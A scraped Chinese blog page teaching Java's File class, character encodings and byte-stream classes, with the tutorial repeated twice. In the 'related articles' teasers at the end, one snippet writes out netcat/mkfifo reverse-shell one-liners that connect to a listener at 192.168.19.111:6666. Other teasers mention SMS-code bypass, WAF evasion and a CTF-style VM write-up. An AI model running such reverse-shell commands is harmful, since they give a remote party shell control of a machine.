07 文件-IO流字节流

news2024/12/24 11:29:10

File

File类的使用

File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名,这个路径可以存在,也可以不存在

创建File类的对象

构造器说明
public File(String pathname)根据文件路径创建文件对象
public File(String parent, String child)根据父路径和子路径名字创建文件对象
public File(File parent, String child)根据父路径对应文件对象和子路径名字创建文件对象

1、File类的作用?

  • 创建对象定位文件,可以删除、获取文件信息等。但是不能读写文件内容。

2、File类构建对象的方式 ?

  • File file = new File(“文件/文件夹/绝对路径/相对路径”);

3、绝对路径和相对路径写法

  • 绝对路径是带盘符的。File file = new File(“D:\\itheima\\a.txt”);
  • 相对路径是不带盘符的,默认到当前工程下寻找文件。File file = new File(“模块名\\a.txt”);

File类的判断文件类型、获取文件信息功能

方法名称说明
public boolean isDirectory()判断此路径名表示的File是否为文件夹
public boolean isFile()判断此路径名表示的File是否为文件
public boolean exists()判断此路径名表示的File是否存在
public long length()返回文件的大小(字节数量)
public String getAbsolutePath()返回文件的绝对路径
public String getPath()返回定义文件时使用的路径
public String getName()返回文件的名称,带后缀
public long lastModified()返回文件的最后修改时间(时间毫秒值)

创建文件、删除文件

方法名称说明
创建文件的功能
public boolean mkdir()只能创建一级文件夹
public boolean mkdirs()可以创建多级文件夹
public boolean createNewFile()创建一个新的空的文件
删除文件的功能delete方法默认只能删除文件和空文件夹,删除后的文件不会进入回收站
public boolean delete()删除文件、空文件夹

遍历文件夹

方法名称说明
public String[] list()获取当前目录下所有的"一级文件名称"到一个字符串数组中去返回。
public File[] listFiles()获取当前目录下所有的"一级文件对象"到一个文件对象数组中去返回(重点)

使用listFiles方法时的注意事项

  • 当主调是文件,或者路径不存在时,返回null
  • 当主调是空文件夹时,返回一个长度为0的数组
  • 当主调是一个非空文件夹,但是没有权限访问该文件夹时,返回null

字符集

字符集简介

标准ASCII字符集
  • ASCII(American Standard Code for Information Interchange):美国信息交换标准代码,包括了英文、符号等。
  • 标准ASCII使用1个字节存储一个字符,首尾是0,总共可表示128个字符,对美国佬来说完全够用。
    image-20240412200633390
常见字符集底层字符的编码是什么样的?
  • GBK(汉字内码扩展规范,国标)

    • 汉字编码字符集,包含了2万多个汉字等字符,GBK中一个中文字符编码成两个字节的形式存储。
    • 注意:GBK兼容了ASCII字符集。1xxxxxxx xxxxxxxx 0xxxxxxx 1xxxxxxx xxxxxxxx
    • GBK规定: 汉字的第一个字节的第一位必须是 1
    • GBK字符中一个中文字符占2个字节
  • Unicode字符集(统一码,也叫万国码)

    • Unicode是国际组织制定的,可以容纳世界上所有文字、符号的字符集。
    • 英文和数字等在任何国家的字符集中都占1个字节
  • UTF-32 : 4个字节表示一个字符

  • UTF-8

    • 是Unicode字符集的一种编码方案,采取可变长编码方案,共分四个长度区:1个字节,2个字节,3个字节,4个字节
    • 英文字符、数字等只占1个字节(兼容标准ASCII编码),汉字字符占用3个字节。
    • UTF-8编码方式(二进制)
      0xxxxxxx (ASCII码)
      110xxxxx 10xxxxxx
      1110xxxx 10xxxxxx 10xxxxxx
      11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
总结
  • 常见字符集有哪些?各自存储数据的特点是什么?
    • ASCII字符集:只有英文、数字、符号等,占1个字节。
    • GBK字符集:汉字占2个字节,英文、数字占1个字节。
    • UTF-8字符集:汉字占3个字节,英文、数字占1个字节。

字符集的编码、解码操作

编码: 把字符按照指定字符集缩码成字节

解码: 把字节按照指定字符集解码成字符

String方法说明
对字符的编码
byte[] getBytes()使用平台的默认字符集将该String编码为一系列字节,将结果存储到新的字节数组中
byte[] getBytes(String charsetName)使用指定的字符集将该String编码为一系列字节,将结果存储到新的字节数组中
对字符的解码
String(byte[] bytes)通过使用平台的默认字符集解码指定的字节数组来构造新的String
String(byte[] bytes, String charsetName)通过指定的字符集解码指定的字节数组来构造新的String
注意:字符编码时使用的字符集,和解码时使用的字符集必须一致,否则会出现乱码

IO流

IO流:概述

image-20240412203455876

IO流分类

image-20240412203604727
字节输入流以内存为基准,来自磁盘文件/网络中的数据以字节的形式读入到内存中去的流
字节输出流以内存为基准,把内存中的数据以字节写出到磁盘文件或者网络中去的流。
字符输入流以内存为基准,来自磁盘文件/网络中的数据以字符的形式读入到内存中去的流。
字符输出流以内存为基准,把内存中的数据以字符写出到磁盘文件或者网络介质中去的流。

IO流:字节流

IO流体系

image-20240412204256410

FileInputStream(文件字节输入流)

作用:以内存为基准,可以把磁盘文件中的数据以字节的形式读入到内存中来。

构造器说明
public FileInputStream(File file)创建字节输入流管道与源文件接通
public FileInputStream(String pathname)创建字节输入流管道与源文件接通
方法名称说明
public int read()每次读取一个字节返回,如果发现没有数据可读会返回-1.
public int read(byte[] buffer)每次用一个字节数组去读取数据,返回字节数组读取了多少个字节,如果发现没有数据可读会返回-1.

注意: 使用FileInputStream每次读取一个字节,读取性能差,并且读取汉字输出会乱码

FileInputStream(文件字节输入流)

作用:以内存为基准,把文件中的数据以字节的形式读入到内存中来。

方法名称说明
public int read()每次读取一个字节返回,如果发现没有数据可读会返回-1.
public int read(byte[] buffer)每次用一个字节数组去读取数据,返回字节数组读取了多少个字节, 如果发现没有数据可读会返回-1.

注意: 使用FileInputStream每次读取多个字节,读取性能得到了提升,但读取汉字输出还是会乱码。

文件字节输入流:一次读取完全部字节

方式一:自己定义一个字节数组与被读取的文件大小一样大,然后使用该字节数组,一次读完文件的全部字节。

方式二:Java官方为InputStream提供了如下方法,可以直接把文件的全部字节读取到一个字节数组中返回。

方法名称说明
public int read(byte[] buffer)每次用一个字节数组去读取,返回字节数组读取了多少个字节,如果发现没有数据可读会返回-1.
public byte[] readAllBytes()直接将当前字节输入流对应的文件对象的字节数据装到一个字节数组返回
提问
  • 直接把文件数据全部读取到一个字节数组可以避免乱码,是否存在问题?
    • 如果文件过大,创建的字节数组也会过大,可能引起内存溢出。
  • 读写文本内容更适合用 字符流
  • 字节流 适合做数据的转移, 如: 文件复制等

FileOutputStream(文件字节输出流)

作用:以内存为基准,把内存中的数据以字节的形式写出到文件中去。

构造器说明
public FileOutputStream(File file)创建字节输出流管道与源文件对象接通
public FileOutputStream(String filepath)创建字节输出流管道与源文件路径接通
public FileOutputStream(File file,boolean append)创建字节输出流管道与源文件对象接通,可追加数据
public FileOutputStream(String filepath,boolean append)创建字节输出流管道与源文件路径接通,可追加数据
方法名称说明
public void write(int a)写一个字节出去
public void write(byte[] buffer)写一个字节数组出去
public void write(byte[] buffer , int pos , int len)写一个字节数组的一部分出去。
public void close() throws IOException关闭流。
  • 字节输出流如何实现写出去的数据可以换行?
    • 写"\r\n"的字节数组表示形式

# 文件-IO&字节流

File

File类的使用

File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名,这个路径可以存在,也可以不存在

创建File类的对象

构造器说明
public File(String pathname)根据文件路径创建文件对象
public File(String parent, String child)根据父路径和子路径名字创建文件对象
public File(File parent, String child)根据父路径对应文件对象和子路径名字创建文件对象

1、File类的作用?

  • 创建对象定位文件,可以删除、获取文件信息等。但是不能读写文件内容。

2、File类构建对象的方式 ?

  • File file = new File(“文件/文件夹/绝对路径/相对路径”);

3、绝对路径和相对路径写法

  • 绝对路径是带盘符的。File file = new File(“D:\\itheima\\a.txt”);
  • 相对路径是不带盘符的,默认到当前工程下寻找文件。File file = new File(“模块名\\a.txt”);

File类的判断文件类型、获取文件信息功能

方法名称说明
public boolean isDirectory()判断此路径名表示的File是否为文件夹
public boolean isFile()判断此路径名表示的File是否为文件
public boolean exists()判断此路径名表示的File是否存在
public long length()返回文件的大小(字节数量)
public String getAbsolutePath()返回文件的绝对路径
public String getPath()返回定义文件时使用的路径
public String getName()返回文件的名称,带后缀
public long lastModified()返回文件的最后修改时间(时间毫秒值)

创建文件、删除文件

方法名称说明
创建文件的功能
public boolean mkdir()只能创建一级文件夹
public boolean mkdirs()可以创建多级文件夹
public boolean createNewFile()创建一个新的空的文件
删除文件的功能delete方法默认只能删除文件和空文件夹,删除后的文件不会进入回收站
public boolean delete()删除文件、空文件夹

遍历文件夹

方法名称说明
public String[] list()获取当前目录下所有的"一级文件名称"到一个字符串数组中去返回。
public File[] listFiles()获取当前目录下所有的"一级文件对象"到一个文件对象数组中去返回(重点)

使用listFiles方法时的注意事项

  • 当主调是文件,或者路径不存在时,返回null
  • 当主调是空文件夹时,返回一个长度为0的数组
  • 当主调是一个非空文件夹,但是没有权限访问该文件夹时,返回null

字符集

字符集简介

标准ASCII字符集
  • ASCII(American Standard Code for Information Interchange):美国信息交换标准代码,包括了英文、符号等。
  • 标准ASCII使用1个字节存储一个字符,首尾是0,总共可表示128个字符,对美国佬来说完全够用。

image-20240412200633390

常见字符集底层字符的编码是什么样的?
  • GBK(汉字内码扩展规范,国标)

    • 汉字编码字符集,包含了2万多个汉字等字符,GBK中一个中文字符编码成两个字节的形式存储。
    • 注意:GBK兼容了ASCII字符集。1xxxxxxx xxxxxxxx 0xxxxxxx 1xxxxxxx xxxxxxxx
    • GBK规定: 汉字的第一个字节的第一位必须是 1
    • GBK字符中一个中文字符占2个字节
  • Unicode字符集(统一码,也叫万国码)

    • Unicode是国际组织制定的,可以容纳世界上所有文字、符号的字符集。
    • 英文和数字等在任何国家的字符集中都占1个字节
  • UTF-32 : 4个字节表示一个字符

  • UTF-8

    • 是Unicode字符集的一种编码方案,采取可变长编码方案,共分四个长度区:1个字节,2个字节,3个字节,4个字节
    • 英文字符、数字等只占1个字节(兼容标准ASCII编码),汉字字符占用3个字节。
    • UTF-8编码方式(二进制)
      0xxxxxxx (ASCII码)
      110xxxxx 10xxxxxx
      1110xxxx 10xxxxxx 10xxxxxx
      11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
总结
  • 常见字符集有哪些?各自存储数据的特点是什么?
    • ASCII字符集:只有英文、数字、符号等,占1个字节。
    • GBK字符集:汉字占2个字节,英文、数字占1个字节。
    • UTF-8字符集:汉字占3个字节,英文、数字占1个字节。

字符集的编码、解码操作

编码: 把字符按照指定字符集缩码成字节

解码: 把字节按照指定字符集解码成字符

String方法说明
对字符的编码
byte[] getBytes()使用平台的默认字符集将该String编码为一系列字节,将结果存储到新的字节数组中
byte[] getBytes(String charsetName)使用指定的字符集将该String编码为一系列字节,将结果存储到新的字节数组中
对字符的解码
String(byte[] bytes)通过使用平台的默认字符集解码指定的字节数组来构造新的String
String(byte[] bytes, String charsetName)通过指定的字符集解码指定的字节数组来构造新的String
注意:字符编码时使用的字符集,和解码时使用的字符集必须一致,否则会出现乱码

IO流

IO流:概述

image-20240412203455876

IO流分类

image-20240412203604727
字节输入流以内存为基准,来自磁盘文件/网络中的数据以字节的形式读入到内存中去的流
字节输出流以内存为基准,把内存中的数据以字节写出到磁盘文件或者网络中去的流。
字符输入流以内存为基准,来自磁盘文件/网络中的数据以字符的形式读入到内存中去的流。
字符输出流以内存为基准,把内存中的数据以字符写出到磁盘文件或者网络介质中去的流。

IO流:字节流

IO流体系

image-20240412204256410

FileInputStream(文件字节输入流)

作用:以内存为基准,可以把磁盘文件中的数据以字节的形式读入到内存中来。

构造器说明
public FileInputStream(File file)创建字节输入流管道与源文件接通
public FileInputStream(String pathname)创建字节输入流管道与源文件接通
方法名称说明
public int read()每次读取一个字节返回,如果发现没有数据可读会返回-1.
public int read(byte[] buffer)每次用一个字节数组去读取数据,返回字节数组读取了多少个字节,如果发现没有数据可读会返回-1.

注意: 使用FileInputStream每次读取一个字节,读取性能差,并且读取汉字输出会乱码

FileInputStream(文件字节输入流)

作用:以内存为基准,把文件中的数据以字节的形式读入到内存中来。

方法名称说明
public int read()每次读取一个字节返回,如果发现没有数据可读会返回-1.
public int read(byte[] buffer)每次用一个字节数组去读取数据,返回字节数组读取了多少个字节, 如果发现没有数据可读会返回-1.

注意: 使用FileInputStream每次读取多个字节,读取性能得到了提升,但读取汉字输出还是会乱码。

文件字节输入流:一次读取完全部字节

方式一:自己定义一个字节数组与被读取的文件大小一样大,然后使用该字节数组,一次读完文件的全部字节。

方式二:Java官方为InputStream提供了如下方法,可以直接把文件的全部字节读取到一个字节数组中返回。

方法名称说明
public int read(byte[] buffer)每次用一个字节数组去读取,返回字节数组读取了多少个字节,如果发现没有数据可读会返回-1.
public byte[] readAllBytes()直接将当前字节输入流对应的文件对象的字节数据装到一个字节数组返回
提问
  • 直接把文件数据全部读取到一个字节数组可以避免乱码,是否存在问题?
    • 如果文件过大,创建的字节数组也会过大,可能引起内存溢出。
  • 读写文本内容更适合用 字符流
  • 字节流 适合做数据的转移, 如: 文件复制等

FileOutputStream(文件字节输出流)

作用:以内存为基准,把内存中的数据以字节的形式写出到文件中去。

构造器说明
public FileOutputStream(File file)创建字节输出流管道与源文件对象接通
public FileOutputStream(String filepath)创建字节输出流管道与源文件路径接通
public FileOutputStream(File file,boolean append)创建字节输出流管道与源文件对象接通,可追加数据
public FileOutputStream(String filepath,boolean append)创建字节输出流管道与源文件路径接通,可追加数据
方法名称说明
public void write(int a)写一个字节出去
public void write(byte[] buffer)写一个字节数组出去
public void write(byte[] buffer , int pos , int len)写一个字节数组的一部分出去。
public void close() throws IOException关闭流。
  • 字节输出流如何实现写出去的数据可以换行?
    • 写"\r\n"的字节数组表示形式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613973.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理: 服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制。 危害:在相关业务中危害也不同,如找回密码,注册,电话换绑等地方即可形成高危漏洞,如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…

java可盈保险合同管理系统的设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的可盈保险合同管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于Spring Boot的…

在【laravel框架】学习中遇到的常见的问题以及解决方法

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

net模块

建立TCP的链接 1 发送消息的服务 2 接收消息 2 建立http的链接让浏览器进行访问 import net from netconst html <h1>TCP</h1>const respinseHeaders [HTTP/1.1 200 OK,Content-Type:text/html,Content-Length: html.length,\r\n,html]const http net.create…

计算机系列之大话原码、补码、反码、移码

5、大话原码、补码、反码、移码 原码 最高位 低位&#xff08;7位二进制数&#xff09;&#xff0c; 最高位 0 表示正数&#xff0c;1表示负数 低位即该数字的二进制数 7 的原码 00000111&#xff0c; -7 的原码 10000111&#xff0c; 0000111 为 7 的二进制数&#xff…

VulnHub靶机 DC-5 打靶 渗透测试详情过程

VulnHub靶机 DC-5 打靶 详细渗透测试过程 目录 VulnHub靶机 DC-5 打靶 详细渗透测试过程一、将靶机导入到虚拟机当中二、渗透流程主机发现端口扫描目录爆破文件包含getshell反弹shell提权 一、将靶机导入到虚拟机当中 靶机地址&#xff1a; https://download.vulnhub.com/dc/…

Linux之C编程入门

目录 第1关&#xff1a;第一个C程序 任务描述 相关知识 编译C程序 编程要求 答案及其步骤&#xff1a; 第2关&#xff1a;Linux编译C程序 任务描述 相关知识 gcc编译器使用方法 编程要求 答案及其步骤&#xff1a; 第3关&#xff1a;Linux之静态库编写 任务描述 相关知识 生成…

【听劝】别盲目备考NPDP,思维导图助你高效学习

还在为如何高效学习NPDP而苦恼吗&#xff1f; 今天给大家分享NPDP认证考试必备的学习资料&#xff1a;思维导图。 &#xff08;内容来自圣略NPDP资深讲师整理&#xff09; 详细梳理了课本内容&#xff0c;保存到手机学习&#xff0c;非常方便&#xff01; 思维导图会陆续更…

web自动化系列-selenium的3种弹框操作(十二)

在进行功能测试时 &#xff0c;经常会遇到出现各种的弹出的提示 &#xff0c;比如删除数据给出提示 、做某个操作时也会弹框给出一些友好提示 &#xff0c;因为这些弹框都是做web操作时的一些常用组件 &#xff0c;所以&#xff0c;selenium就不得不支持这些组件 。 1.弹框介绍…

Python基础04-操作系统中的文件与目录操作

在与操作系统交互时&#xff0c;我们经常需要执行文件和目录的操作。Python提供了丰富的库来帮助我们完成这些任务。以下是一些常见的操作&#xff0c;以及如何使用Python代码来实现它们。 1. 导航文件路径 在不同的操作系统中&#xff0c;文件路径的格式可能不同。Python的o…

WAF攻防-漏洞发现协议代理池GobyAwvsXray

知识点 1、Http/s&Sock5协议 2、Awvs&Xray&Goby代理 3、Proxifier进程代理使用 4、Safedog&BT&Aliyun防护在漏洞发现中&#xff0c;WAF会对三个方向进行过滤拦截&#xff1a; 1、速度频率问题&#xff08;代理池解决&#xff09; 2、工具的指纹被识别&am…

【Leetcode笔记】236.二叉树的最近公共祖先

文章目录 题目要求ACM运行结果 题目要求 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能…

Zabbix监控Oracle归档日志空间

1、oracle查看归档日志空间的sql语句 select sum(PERCENT_SPACE_USED) from v$recovery_area_usage; 2、交互式查看oracle归档日志空间的命令&#xff0c;可以手动执行一下&#xff0c;注意要用oracle用户 sqlplus -S "/ as sysdba" << EOF select sum(PER…